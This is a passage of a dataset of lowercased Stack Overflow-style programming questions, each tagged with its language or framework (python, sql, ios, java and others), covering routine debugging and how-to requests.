)      ( out of order sequence message on  )      ( port reset timeout of  )      ( gmp_info  )      ( test_thread  )      (  panic @ time   )      ( : *** failed assertion  )      ( filesystem full  )      ( kern_sig    pid )      ( vfs_export    ignoring )      ( job_d    state transition from state     took longer than  ) ]  for matches in interesting_matches:     if all(match in  test_thread  for match in matches):         print(matches) </code></pre>,python
removing parentheses in an input field  the text between them and the space before them   in this <a href= https://stackoverflow.com/questions/9597463/finding-opening-and-closing-parentheses-in-an-input-field-delete-them-together/9597893#9597893 >previous question</a>  i asked how to remove parenteshes and the text inside them. got this:   <pre><code>$(this).val($(this).val().replace(/\(.+\)/    )); </code></pre>   so this: <code>food (454)</code> becomes this: <code>food</code>    this works fine but now i would like to not only remove the parentheses and the text between them but also to remove the space before the parentheses.    in the example above  the space i m talking about would be the space between the letter <code>d</code> and the <code>(</code>    how to modify the code so that it can accomplish that,jquery
identify contents from uiscrollview  i have two uiscrollview in a page having 26 uiimageview in each which contain same type of images but in jumbled condition.in the middle of the page there is a frame .how can i check the similarity when two same images come inside the frame from both the uiscrollview.,ios
letters taking out  i am looking to create a function that replaces certain letters inside a string array into a letter of my choice  and i am supposed to do this without using any function templates from the c++ library. so far  i have this  but when i printed the output  it doesn t seem to change the array elements. can someone help me <br> a sample array i tried is :    <pre><code>string replace[7] = {  gavel     apple     bear     flask     festival     sacrifice     lava  }; </code></pre>   and  i tried changing the (a)s inside the array into (z)s.    <pre><code>int remove(string array1[]  int n  char a  char c) {     int q = 0;     int index = 0;     string s;     char c = s[index];      if (n &gt; 1)     {         for (q = 0; q &lt; n; q++)         {             s = array1[q];             size_t len = s.size();              for (index = 0; index &lt; len; index++)             {                 if (s[index] == a)                 {                     s[index] == c;                 }             }             cout &lt;&lt; array1[q] &lt;&lt; endl;         }     }      else     {         return (-1);     } } </code></pre>,c++
css color bottom pixel on click  i am looking to color the bottom pixel (the bottom width pixel  along all the length of the image) of my image to one particular color when i click on it. i would like not to add anything in the html. can that be achieved only in css doing something like :    <pre><code>.image:active{  width: 1.5px;  background-color: my_color;  length: 100%; } </code></pre>,css
what is indeterminate value   i found this in c99 standard   <pre><code>3.17.2 1 indeterminate value either an unspecified value or a trap representation </code></pre>   this above statement is not clear to me. can anyone explain what is this and what are its pros and cons     some example will be highly appreciated.,c
how to add checkboxes on ios  i want to add checkboxes and have a title for each checkbox and have if certain boxes are checked then it displays certain texts like    if box 1 then displays text1    if box 2 is selected then displays text2,iphone
comma delimiting c  i need my program to take a series of file names (stored in a single  string  and separated by commas) and act on them.     the psuedo code would be:    <pre><code>for each filename in some_string     open filename     operate on contents of filename     close filename </code></pre>   the issue is that i m stuck separating some_string ( filename1 filename2 ... filenamen ) into [filename 1]  [filename 2]  ... [filename n].    edit: to clarify  it seems simpler to keep some_string intact and extract each file name as needed  which is what i m attempting to do.     my code  as it stands  is pretty clunky (and quite disgusting...)    <pre><code>int j = 0; char *temps = strdup(filenames); while (strchr(temps     )) {     char *ptr = strchr(temps     );     *ptr++ =  . ;     numfiles++; }  for (; j &lt; numfiles; j++) {     char *ptr = strchr(temps     );      //don t know where to go from here...     fin = openfile(temps);     if (fin != null) {         //do something     }     fclose(fin); } </code></pre>   it s not done  obviously. i correctly find the number of files  but i m a little lost when it comes to figuring out how to separate one at a time from the source string and operate on it.,c
reference types <pre><code> var a = myclassinstance;     myclassinstance = null;     //if (a !=null){ //why } </code></pre>   i think that <code>a</code> points to <code>myclassinstance</code> and <code>myclassinstance</code> equals null  then <code>a</code> must be equals null too. but <code>a</code> is not null and i don t understand why.,.net
folder copy in c#  i have a folder with 10 text files at c:\textfiles\ drive in my machine. i want to copy the folder textfiles and its contents completely from my machine to another machine. how to copy the same using c#.,c#
base tag with locationprovider angularjs  my english is not very good  but i try to explain my self clear. i m trying to optimize website based on pure angular to seo. here is the link <a href= http://www.sanjosejumpstart.com/tests/project/  rel= nofollow >http://www.sanjosejumpstart.com/tests/project/</a> when you come first time to the website and start clicking on the links  routing is working fine  but when refreshing the page  i get error with    <blockquote>    not found        the requested url /tests/project/automotive was not found on this server.        additionally  a 404 not found error was encountered while trying to use an errordocument to handle the request.  </blockquote>   i can t understand why this happens.(may be because a hash is disappeared )    some body have any idea how i can fix that     base tag on index html looks    <pre><code> &lt;base href= http://www.sanjosejumpstart.com/tests/project/ &gt; </code></pre>   and route config look likes:    <pre><code>.config([ $httpprovider    $stateprovider    $urlrouterprovider      $locationprovider     function($httpprovider  $stateprovider  $urlrouterprovider  $locationprovider) {  $httpprovider.defaults.transformrequest.push(lockjs.postconvert);                                 $httpprovider.defaults.headers.post[ content-type ] =  application/x-www-form-urlencoded ; $httpprovider.interceptors.push( interseptor );   /* activating html5 mode */  $locationprovider.hashprefix( ! );  $locationprovider.html5mode(true);   $urlrouterprovider.otherwise( /home );  $stateprovider    .state( home   {      url:  /home         views: {          : {           templateurl:  templates/main-page-content.html          }          article@home : {           templateurl:  templates/main-page/app-main-article.html             controller:  mainarticlectrl          }           services@home : {            templateurl:  templates/main-page/app-main-services-list.html              controller:  mainservicesctrl          }           services-info@home : {             templateurl:  templates/main-page/app-services-info.html               controller:  mainservicesinfoctrl          }           aside@home : {            templateurl:  templates/main-page/app-aside-content.html          }           middle-slider@home : {            templateurl:  templates/main-page/app-middle-slider.html          }           map@home : {            templateurl:  templates/main-page/app-map.html          }       }       })     .state( automotive   {        url:  /automotive          views: {            : {            template:  &lt;h1&gt;automotive view&lt;/h1&gt;           }        }     })    }]) </code></pre>   and then comes more states.  thank you for any advice.,angularjs
trying to save time what i entered in the web portal......but its not storing exactly what i entered in the web portal  i have a web portal that works in the sql database. i am entering the time in web portal from google chrome. for ex:if i enter time 06:00 am and its automatically storing as 02:00 am. please help,sql
error in dealing with arrays c++  i am getting a segment error in the below code any suggestions would be appreciated     thanks   <pre><code>/*   * file:   newmain.cpp  * author: user  *  * created on 10 december  2014  7:18 am  */  #include &lt;stdlib.h&gt; #include &lt;iostream&gt;  using namespace std; int append(int a[]  int b[]  int m  int n);  int main() {       int a[] = {1  2  3  4};     int b[] = {4  5};     int m = sizeof (a);     int n = sizeof (b);     append(a  b  m  n);      return 0;  }  int append(int a[]  int b[]  int m  int n) {      int i = 0  j = 0;     while (i &lt; m &amp;&amp; j  n) {         if (a[i] &lt; b[j]) {              cout &lt;&lt; a[i++];          } else if (a[i] &gt; b[j]) {              cout &lt;&lt; b[j++];          } else {              cout &lt;&lt; b[j++];             i++;         }     }     for(i=0;i&lt;m;i++){          cout&lt;&lt;a[i];      }     for(j=0;j&lt;n;j++){          cout&lt;&lt;b[j];      }  } </code></pre>,c++
how to remove non-alphanumerics in python  for this function  my code only works for this example  but i don t know why it doesn t work for all examples. can anyone help me    <pre><code>def remove_punctuation(s):        (str) -&gt; str     return s with all non-space or non-alphanumeric     characters removed.     &gt;&gt;&gt; remove_punctuation( a  b  c  3!! )      a b c 3              new_str =        for char in s:         if char.isdigit() or char.isalpha():             new_str = new_str + char +         new_s = new_str[:len(new_str)-1]     return new_s </code></pre>   here is what i have.,python
need help deciphering php code  i am running through a jquery ajax tutorial here:    <a href= http://www.charlieperrins.com/2011/03/ajax-jquery-101/  rel= nofollow >http://www.charlieperrins.com/2011/03/ajax-jquery-101/</a>     everything works perfectly but i have a question about this piece of code:   <pre><code>&lt; php if ($_post[ user ]) :  &gt;  &lt; php  $user_id = $_post[ user ];  if (isset($db_data[$user_id]))  {     $data = $db_data[$user_id]; } else {     echo  sorry  no user data matched your request - please try again ;     die;     }  &gt; </code></pre>   i am most concerned with the very first line. what does that line do  i am trying to keep all the code in 1 set of php tags but i don t know how to do that. if i knew what the first line does  i might be able to figure it out. any help is appreciated. i am trying to reverse engineer this to fit it into my app but can t do it without knowing what that top line does.    thanks.,php
angular - attach a directive to a repeated element  i’m new to angular  and working with an app that has some existing javascript code. inside a loop  the app appends file input buttons that are added to table rows in the view like this:   <pre><code>cellseq.innerhtml = cellseq.innerhtml +     &lt;input type= file  name= f  multiple= multiple  file-bind=   id= my-files-input-  +       counter +   &gt; ; </code></pre>   so  the buttons are made unique on each table row by adding the <code>counter</code> variable to their ids. i have a file-reading directive  called <code>file-bind</code>  which i can attach to a single button (without the <code>counter</code>)  which processes the files that are read by the input.    in a <strong>test</strong> this works on a single button  which i just stick into the html manually (without the counter variable on its id):   <pre><code>&lt;input type= file  name= f  multiple= multiple  file-bind=   /&gt; </code></pre>   here s the file-reading directive signature (not too exciting):   <pre><code>angular.module( myapp ).directive( filebind   function() {    use strict ;   return function(scope  element  attrs) {     element.bind( change   function(evt) {      //  ...read files </code></pre>   i suspect the issue is in the way i create the directive. what i want to do is bind my file-bind directive to each of these unique buttons  and update the respective section of the view once the files are read.    how do i add a unique directive (in terms of the execution context) to each of the buttons     <strong>edit</strong> it appears that i need a <code>compile</code> function  as the repeated element is created in pure javascript. where do i place the compile function  given that my directive returns a function (rather than an object  where i could put  compile: function()... ),angularjs
checking number is prime in python  why check up to int(sqrt(n)-1)) not int(sqrt(n))  new to python here. i am trying to understand how this function works to check prime numbers:   <pre><code>from itertools import count  islice from math import sqrt def is_prime(n):     if n &lt; 2: return false     return all(n%i for i in islice(count(2)  int(sqrt(n)-1))) </code></pre>   from what i understand you can check factors up to and <strong>including</strong> the square root of n  so why is this only testing up to sqrt(n)-1  i m also not clear on the <code>return all</code> part for the function. n%i returns an int  the remainder. so why does this expression evaluate as a bool  any pointers on this would be great. thanks!,python
accessing methods from anywhere in java  lets say i have a manager class in a program. i want to be able to access the methods in that class from anywhere in the program  without having to make a new instance of the class each time. how does one do this in java,java
not displaying anchor tag value  the below code doesn t work!!!  my scenario: i want to get if user clicks on the b then i will throw the popup with clicked value..for instance he clicks on a link then i need to throw the popup with value you clicked a  constraints:i shouldn t call the function getcontent in each tag... i should call in div itself....kindly help me in this..    thanks in advance..:-)   <pre><code>&lt;html&gt;      &lt;head&gt;         &lt;title&gt;test&lt;/title&gt;         &lt;script type= text/javascript &gt;             function getcontent() {                 alert( hi );                 var outerdiv = document.getelementbyid( mydiv ).innerhtml;                 var h = outerdiv.getelementsbytagname( a ).getelementsbyclassname( anchr ).innethtmlalert(h);             }         &lt;/script&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;div id= mydiv  onclick= getcontent() &gt;&lt;a id= anchr  href= www.google.com &gt;a&lt;/a&gt;  &lt;a class= anchr  href= javascript:openalert(); &gt;p&lt;/a&gt;             &lt;a             class= anchr  href= www.google.com &gt;b&lt;/a&gt;&lt;a class= anchr  href= www.google.com &gt;q&lt;/a&gt;         &lt;/div&gt;     &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
how to show integer value column to be string value in display using sql  my sale table   <pre><code>id    sales   amount -------------------- 101    1      1000 102    1      1500 103    2      2000 104    3      2500 </code></pre>   in the above table sales column 1 refer  to  keyboard  2 refer to  mouse  and 3 refer to  cd .    if i use <code>select * from sale where id=103</code>    it will return    <pre><code>id  sales  amount ------------------ 103  2     2000 </code></pre>   but i need to display like below   <pre><code>id  sales  amount ------------------ 103  mouse 2000 </code></pre>   in db i need to store  sales value as int like  1 2 3 4 5  but when show to user i need to display a unique string value for each integer value.,sql
how to recursively compare data types of two objects in python   i m trying to have validation for a class attribute so that it can only take in specific values or specific <code>type</code> of values. i ve come up with the following approach   <pre><code>class someclass:      value_types = [float  [int]   a    b ]      def __init__(self  value):         for value_type in self.value_types:             if not self.match_type(value_type  value):                 raise valueerror( the value type is invalid )         self.value = value      @staticmethod     def match_type(obj1  obj2):                        for obj1 and obj2 recursively compares all the types of containers and          elements inside containers  return false in case of mismatch.                       pass </code></pre>   i m trying to find a way of implementing a generic <code>match_type</code> function that would work for any kind of <code>value_type</code> class attribute. my main motivation behind this is restrict the domain of the instance attribute <code>value</code> and validate the values passed based on <code>value_type</code> class attribute.     just for more clarity  the values allowed in the above <code>someclass</code> constructor would be   <ul> <li>7.5</li> <li>[1  9  8  6]</li> <li> a </li> <li> b </li> </ul>   values for which error should be raised are   <ul> <li>[1.2  2.3]</li> <li> c </li> <li>[]</li> </ul>,python
select rows based on hierarchical permissions  i have a tree/hierarchy of groups and a sql table of items each associated with a group (ie. each item belongs to a group). i need to select only the rows associated with a given group  or with the groups below.    eg. say this is the group tree:   <pre><code>a  =&gt; b      =&gt; d  =&gt; c      =&gt; e      =&gt; f </code></pre>   selecting items for group a will return all rows  while selecting for group c will select items belonging in c e and f (descendants of c).    so far  i am thinking i can implement this in one of two ways:    <strong>1. in list</strong>   <pre><code>select * from table were group in ( c   e   f )  </code></pre>   programatically determining the list of descendants before querying    <strong>2. bitwise operator</strong>   <pre><code>select * from table where groupbitmask &amp;  52!=0 </code></pre>   (ie.  bitwise  c  +  e  +  f  ==bit 3 + bit 5 + bit 6 == 110100 ==52 )     again  this 52 will need to be computed before the query by parsing the group tree. i guess i can probably enforce a limit of 64 groups max. and use a 64-bit mask for this.    i m not sure if the database will use an index for this or simply scan all rows to determine the bitwise result     are there any other (better ) methods of selecting the rows i need,sql
issue with loading rails seed data  i am trying to load some seed data into my rails application and its giving one error i don t understand. below is my <code>seed.rb</code> file and the terminal output above it. <a href= https://i.stack.imgur.com/ore2s.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ore2s.png  alt= enter image description here ></a>    thanks for your help in advance,ruby-on-rails
sql query - getting rid of hard-coded values  i have the following query:   <pre><code>select name         case when charindex( i  a.s_data) &gt; 0 then 1 else 0 end as illustrated         case when charindex( fp  a.s_data) &gt; 0 then 1 else 0 end as frontpage         case when charindex( bp  a.s_data) &gt; 0 then 1 else 0 end as backpage         case when charindex( elp  a.s_data) &gt; 0 then 1 else 0 end as edlp         case when charindex( pr  a.s_data) &gt; 0 then 1 else 0 end as specialpromo from table1 </code></pre>   what i would like to do is to store those filter values in some sort of lookup table or a settings table.    i am struggling with how to draw the values from a lookup table to use with this query.,sql
jquery gridview  on my pages  asp.net 3.5 i have hyperlinks  both inside and outside the gridviews.  is there any way to determine which type was clicked - inside or outside  all gridviews have same cssclass but i don t want to use cssclass for any elements inside the grid.   <pre><code>$( a ).click(function(e) {      //this attribute doesn t exist this is just to give an idea      if($(this).attr( parentclass ) =  gridviewclass )        {       }      else      {       }  }); </code></pre>,asp.net
saving state of an android application   which of the following is/are appropriate for saving the state of an android application     a.  activity.onfreeze()  b.  activity.onpause()  c.  activity.onstop()  d.  activity.ondestroy()  e.  activity.onfinish(),android
java biometric finger print with secugen hamster iv  i am trying to read finger print with secugen hamster iv device in my java app  i have already request the sdk  installed fdx sdk pro for windows v3.7  imported jars from fdx sdk pro for java v1.8. but now when i try to run a sample code i receive this error    <pre><code>**exception in thread  awt-eventqueue-0  java.lang.unsatisfiedlinkerror: c:\windows\system32\jnisgfplib.dll: can t load ia 32-bit .dll on a amd 64-bit platform     at java.lang.classloader$nativelibrary.load(native method)     at java.lang.classloader.loadlibrary0(classloader.java:1941)     at java.lang.classloader.loadlibrary(classloader.java:1857)     at java.lang.runtime.loadlibrary0(runtime.java:870)     at java.lang.system.loadlibrary(system.java:1122)     at secugen.fdxsdkpro.jni.jsgfplib.&lt;clinit&gt;(jsgfplib.java:78)     at main.secugen.fdxsdkpro.samples.jsgd.jbuttoninitactionperformed(jsgd.java:783)     at main.secugen.fdxsdkpro.samples.jsgd.access$1(jsgd.java:759)     at main.secugen.fdxsdkpro.samples.jsgd$2.actionperformed(jsgd.java:164)     at javax.swing.abstractbutton.fireactionperformed(abstractbutton.java:2022)     at javax.swing.abstractbutton$handler.actionperformed(abstractbutton.java:2348)     at javax.swing.defaultbuttonmodel.fireactionperformed(defaultbuttonmodel.java:402)     at javax.swing.defaultbuttonmodel.setpressed(defaultbuttonmodel.java:259)     at javax.swing.plaf.basic.basicbuttonlistener.mousereleased(basicbuttonlistener.java:252)     at java.awt.component.processmouseevent(component.java:6533)     at javax.swing.jcomponent.processmouseevent(jcomponent.java:3324)     at java.awt.component.processevent(component.java:6298)     at java.awt.container.processevent(container.java:2236)     at java.awt.component.dispatcheventimpl(component.java:4889)     at java.awt.container.dispatcheventimpl(container.java:2294)     at java.awt.component.dispatchevent(component.java:4711)     at java.awt.lightweightdispatcher.retargetmouseevent(container.java:4888)     at java.awt.lightweightdispatcher.processmouseevent(container.java:4525)     at java.awt.lightweightdispatcher.dispatchevent(container.java:4466)     at java.awt.container.dispatcheventimpl(container.java:2280)     at java.awt.window.dispatcheventimpl(window.java:2746)     at java.awt.component.dispatchevent(component.java:4711)     at java.awt.eventqueue.dispatcheventimpl(eventqueue.java:758)     at java.awt.eventqueue.access$500(eventqueue.java:97)     at java.awt.eventqueue$3.run(eventqueue.java:709)     at java.awt.eventqueue$3.run(eventqueue.java:703)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(protectiondomain.java:80)     at java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(protectiondomain.java:90)     at java.awt.eventqueue$4.run(eventqueue.java:731)     at java.awt.eventqueue$4.run(eventqueue.java:729)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(protectiondomain.java:80)     at java.awt.eventqueue.dispatchevent(eventqueue.java:728)     at java.awt.eventdispatchthread.pumponeeventforfilters(eventdispatchthread.java:201)     at java.awt.eventdispatchthread.pumpeventsforfilter(eventdispatchthread.java:116)     at java.awt.eventdispatchthread.pumpeventsforhierarchy(eventdispatchthread.java:105)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:101)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:93)     at java.awt.eventdispatchthread.run(eventdispatchthread.java:82)** </code></pre>   am runing windows 10 pro  jdk 1.8.0_131 please help,java
trying to combine jquery clone  appendto <pre><code>$( .reply ).click(function () {                  var replybox = $( .replybox ).clone().show();                 $(replybox).appendto(this parent( .post ));          }); </code></pre>   what i m trying to do:   <ol> <li>clone .replybox (display:none;) then make it visible</li> <li>put inside $(this).parent( .post )</li> <li>ideally make .replybox show/hide on .reply click (kinda like youtube comments reply box).</li> </ol>,jquery
how do you merge 2 different databases   id like to know what can i do to keep 2 databases in 2 different locations  with the same structures except different  data sinchronized.    if i have to be more detailed the problem is that i have 2 stores in which i have a server each. the reason is that there are network issues (can t be helped) so sometimes one of the stores has no internet for over 2 days  still we want to be able to enter information in the system (let say a billing system). so in order to solve this i will be making one store to enter invoices with odd numbers and the other store with even numbers so that when a store has  no internet they can still work. now here is what i don t know how to do: when internet is back again i want the 2 databases to sinchronize their data. how do i do that     i ll be using mysql    thanks!,sql
rails missing template for js file  on my application controller i have a method where i m trying to render a specific js file located in the folder <strong>lib/assets/api/v1/</strong>   <pre><code>lib = render_to_string file.join(rails.root  /lib/assets/api/v1/shasync.js )  render :text =&gt; lib </code></pre>   the problem is that i m getting the following <strong>missingtemplate</strong> error:   <pre><code>actionview::missingtemplate (missing template users/name/projects/project/lib/assets/api/v1/shasync.js with {:locale=&gt;[:en]  :formats=&gt;[:js  :html]  :variants=&gt;[]  :handlers=&gt;[:erb  :builder  :raw  :ruby  :coffee  :jbuilder]}. searched in: *  /users/name/projects/project/app/views  *  /users/name/.rvm/gems/ruby-2.2.1/gems/devise-3.5.2/app/views  *  /users/name/.rvm/gems/ruby-2.2.1/gems/shopify_app-6.2.0/app/views ): </code></pre>   can anyone help please  i did this in the past and it worked  don t know why it s not working anymore.,ruby-on-rails
adding two measurements of height in feets and inches  i have two inputs of float values <code>5.9f</code>  <code>9.11f</code> which is 5 feet 9 inch and 9 feet 11 inch. i need to add them and display 15 feet 8 inches.   <pre><code>public static void addingfeets(float a float b) {     int c = (int)a*12;           int d = (int)b*12;           float e = math.round((a%1)*10);          float f = math.round((b%1)*10);          float g = (int) ((int)e+f);          int h = (int) (c+d+g);         system.out.println( h/12+  feet  +h%12+  inches );           } </code></pre>   but i am not able to get the proper output when one of the input contains 11 inches.,java
i would like to parse string to objet in c# micro framework  i need to parse this string       <pre><code> +cmgl: 1 \ rec read\  \ +420731177370\  \ \  \ 2015/03/21 11:26:10+04\        </code></pre>   and i would like to parse for    <pre><code>id = 1  number = +420731177370  date = 2015/03/21 11:26:10+04\  </code></pre>   could you please help me how to do it without regex because i have got an old version of micro framework. my code is   <pre><code>for (int i = 0; i &lt; sentences.length; i += 2)         {             string[] test = sentences[i].split(   );             for (int j = 1; j &lt; test.length; j++)             {                  //to do stuff             }         }    </code></pre>   to do stuff where i need to replace \ xxxxx\  to xxxx,c#
passing argument 1 of strlen from incompatible pointer type  i am taking values from array and saving it in linked list as follows:   <pre><code>nsstring *formataddr=[restaurantlist objectatindex:0]; node1-&gt;formattedaddress = (char*)malloc(strlen(formataddr)*sizeof(char)+1); </code></pre>   where <code>formattedaddress</code> is char array. but i m getting error   <blockquote>    passing argument 1 of strlen from incompatible pointer type  </blockquote>   can anyone help me solve this  thanks!,objective-c
application functionality changes when run on device  i ve found that my application stops its timer when the device goes to the lock screen on actual device  but it works perfectly on the simulator.    is that because i haven t released the app  so an actual device won t let me keep working on the lock screen   or is it a bug in my code     i ve written an <code>nslog()</code> statement to monitor my application s timer action  it keeps working when the simulator goes to the lock screen  but on an actual device it stops.    i m so frustrated because i don t know why there are these differences between the device and the simulator  and i don t know how to solve it.,ios
datetime.ticks in .net. its usage and why it is used   i have been using c# for quiet some time  and have suddenly come across a thing called     datetime.now.ticks;    can anyone tell what it is for     i think it is to represent the particular second or millisecond.,.net
ios file provider extension  paste  action  in files app  i copy a folder and do paste opeation inside that folder  actually we can not do that operation  but the paste operation divide into two operations(first create folder  then import files)  how can i know user do paste operation,ios
create a variable with a function  how can i do a function to work like that    <pre><code>createmyvar( hello    guys ); echo $hello; //output: guys </code></pre>   there is already some php function to do that or we need to build one,php
javascript for loop not appending into div as expected   im not really sure what im doing wrong here. i essentially check if any of the elements values are empty  and if they are it started to iterate through them.    once it iterates it appends the id s of the elements that are empty into the div. or at least thats what i expected it to do. any help  thanks!   <pre><code>&lt;script&gt;     function validate(){        var username = document.getelementbyid( username );        var name = document.getelementbyid( name );        var phone = document.getelementbyid( phone-number );        var email = document.getelementbyid( email );        var password = document.getelementbyid( password );        var passwordc = document.getelementbyid( password-confirmation );         var array = [username  name  phone  email  password  passwordc];         if(username.value ==    || name.value ==    || phone.value ==    || email.value ==    || password.value ==    || passwordc.value ==   ){            document.getelementbyid( required-field-error ).innerhtml =  the following must not be blank:  ;             for(i = 0; i &lt; array.length; i++);{                if(array[i].value ==   ){                document.getelementbyid( required-field-error ).innerhtml +=   array[i].id  ;                }                else{document.getelementbyid( required-field-error ).innerhtml +=   ;}            }         }        else{            document.getelementbyid( required-field-error ).innerhtml =   ;        }    }   &lt;/script&gt;  </code></pre>,javascript
what is the best way to update data post migration   in rails / activerecord i have changed a field to make it required; i want to run     appversion.where( content_rating is null ).each {|av| av.update_column( content_rating   7) }    to ensure that content_rating is not null.     from what i read  migrations are not a good place to actually change records. is there a  do this once  way to run code within the rails structure,ruby-on-rails
cell stored as var using tableview.cellforrow(at: indexpath) is changing (ios)  i m using a longpress gesture recognizer to rearrange cells by creating a  snapshot of the cell and detecting the snapshot s y position  and rearranging the table accordingly when the long press ends.  everything works great.      one issue however   is that when i scroll down off the screen  the cell that i stored with <code>tableview.cellforrow(at:</code> method seems to change.  i know this is because the cell is being dequeued b/c it is a reusuable cell  but how do i create a reference to this which doesnt change    <pre><code>fileprivate var cellbeingmoved: mediacell   //var that is changing  func longpressgesturerecognized(_ gesturerecognizer: uigesturerecognizer) {      switch state {          case uigesturerecognizerstate.began:              if indexpath != nil {                  if let cell = tableview.cellforrow(at: indexpath!) as  mediacell {                                     //this variable is changing when the cell goes off the screen                      self.cellbeingmoved = cell                       self.createscreenshotofcell(cell)                  }              }           case uigesturerecognizerstate.changed:               //detect y position          default:               //rearrange table        } }     </code></pre>,ios
app delegate issues with multiple view controllers  i created tab bar controller and implemented in app delegate but before that i also implemented other view controller.i don t know how to use call them orderly.please tell me how to make them arrange as i like.   <pre><code>@interface appdelegate () {     uinavigationcontroller *navigation; } @property (strong  nonatomic) jasidepanelcontroller *viewcontroller; @property (strong  nonatomic) uitabbarcontroller *this;   @end  @implementation appdelegate @synthesize viewcontroller = _viewcontroller;   - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     // override point for customization after application launch.      [[uiapplication sharedapplication] setstatusbarstyle:uistatusbarstylelightcontent];      self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];     navigation = [[uinavigationcontroller alloc] initwithrootviewcontroller:[[viewcontroller alloc] init]];      self.window.rootviewcontroller = navigation;  //uiwindow *window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]]; //        self.window = window;      self.viewcontroller = [[jasidepanelcontroller alloc] init];     self.viewcontroller.shoulddelegateautorotatetovisiblepanel = no;      self.viewcontroller.leftpanel = [[leftviewcontroller alloc] init];        uiviewcontroller *viewcontroller1=[[homeview alloc]init];     uiviewcontroller *viewcontroller2=[[speciality alloc]init];     uiviewcontroller *viewcontroller3=[[activity alloc]init];     uiviewcontroller *viewcontroller4 =[[notification alloc]init];     uiviewcontroller *viewcontroller5 =[[profile alloc]init];      viewcontroller1.view.backgroundcolor = [uicolor whitecolor];     viewcontroller2.view.backgroundcolor = [uicolor whitecolor];     viewcontroller3.view.backgroundcolor = [uicolor whitecolor];     viewcontroller4.view.backgroundcolor = [uicolor whitecolor];     viewcontroller5.view.backgroundcolor = [uicolor whitecolor];        uinavigationcontroller *navcontroller1=[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller1];     uinavigationcontroller *navcontroller2=[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller2];     uinavigationcontroller *navcontroller3=[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller3];     uinavigationcontroller *navcontroller4 =[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller4];     uinavigationcontroller *navcontroller5 =[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller5];       viewcontroller1.title = @ home ;     viewcontroller2.title = @ speciality ;     viewcontroller3.title = @ activity ;     viewcontroller4.title = @ notification ;     viewcontroller5.title = @ profile ;      navcontroller1.tabbaritem.image = [uiimage imagenamed:@ home ];     navcontroller2.tabbaritem.image = [uiimage imagenamed:@ special ];     navcontroller3.tabbaritem.image = [uiimage imagenamed:@ activity ];     navcontroller4.tabbaritem.image = [uiimage imagenamed:@ notify ];     navcontroller5.tabbaritem.image = [uiimage imagenamed:@ pro ];      self.this = [[uitabbarcontroller alloc] init];      self.this.viewcontrollers=[nsarray arraywithobjects:navcontroller1 navcontroller2 navcontroller3 navcontroller4 navcontroller5  nil];      self.this.tabbar.bartintcolor =  rgbcolor(249  178  131);      self.viewcontroller.centerpanel = _this;       [self.window makekeyandvisible];     return yes; } </code></pre>,ios
using custom data types in java  i am new to programming and i have an assignment to write a class called names.  in my main method  i want to read in the entire name and pass it to my names constructor.  however  i keep getting type mismatch errors when passing the method data.  what am i doing wrong     <pre><code>import java.util.scanner; public class names { string first  middle  last;     /**      * @param args      */     public names(){      }     public names(string first  string middle  string last){         first = this.first;         middle = this.middle;         last = this.last;     }      //returns the first name     public string getfirst(){         return first;     }      //returns the middle name     public string getmiddle(){         return middle;     }     //returns the last name     public string getlast(){         return last;     }     // returns a string containing the person s full name in order      public string firstmiddlelast(){         string ret = first +     + middle +     + last;         return ret;     }     public string lastfirstmiddle(){         string ret = last +      + first +     + middle;         return ret;     }     public boolean equals(names othername){         if (first.equalsignorecase(othername.first) || middle.equalsignorecase(othername.middle)                  || last.equalsignorecase(othername.last))             return true;         else             return false;     }     public string initials(){         string retval = first.substring(0) +  .  + middle.substring(0) +  .  + last.substring(0) +  . ;         return retval.touppercase();     }     public int length(){         string wholename = (first+middle+last);         int retval = wholename.length();         return retval;     }     public static void main(string[] args) {         names person1 = new names();         names person2 = new names();         scanner scan = new scanner(system.in);          system.out.println( enter first name:  );         person1.first = scan.next();      }  } </code></pre>,java
using prototype inheritance in javascript  i have this modified bit of code  from an online source  that discusses prototype inheritance.   <pre><code>var myobj = function() {}; // start w a regular func  myobj.prototype.a = 1; // attach properties to property myobj.prototype.b = 2;  console.log( myobj dir a is:   + myobj.a);  // undefined  var myrealobj = new myobj(); console.log( my real obj a is:   + myrealobj.a); // works </code></pre>   my bit of confusion is the first log statement where a is undefined.  even though it s in the prototype chain above the function should it not walk the chain   why does it work when i use new to create an object instead     thanks!,javascript
.net system.missingmethodexception  i am trying to write a very simple program to evaluate a 3rd party library. i have added all the necessary .dll references to my project and have written the following code (boiler plate removed) which attempts to use the controller class in the 3rd party library:   <pre><code>controller controller = new controller( 192.168.42.190   controller.cpu.s7300   0.2 );  controller.connect();  tag mytag = new tag();  controller.readtag(mytag);  controller.disconnect(); </code></pre>   this code builds just fine and intellisense agrees that all is well. when i run this code however the line <code>controller.readtag(mytag);</code> causes a system.missingmethodexception.    i m quite new to .net and am confused as to why i am able to build the code above  use intellisense to view all the methods and properties on the controller class (including readtag) only to have the code fail at runtime.    any clarification would be greatly appreciated. thanks.,.net
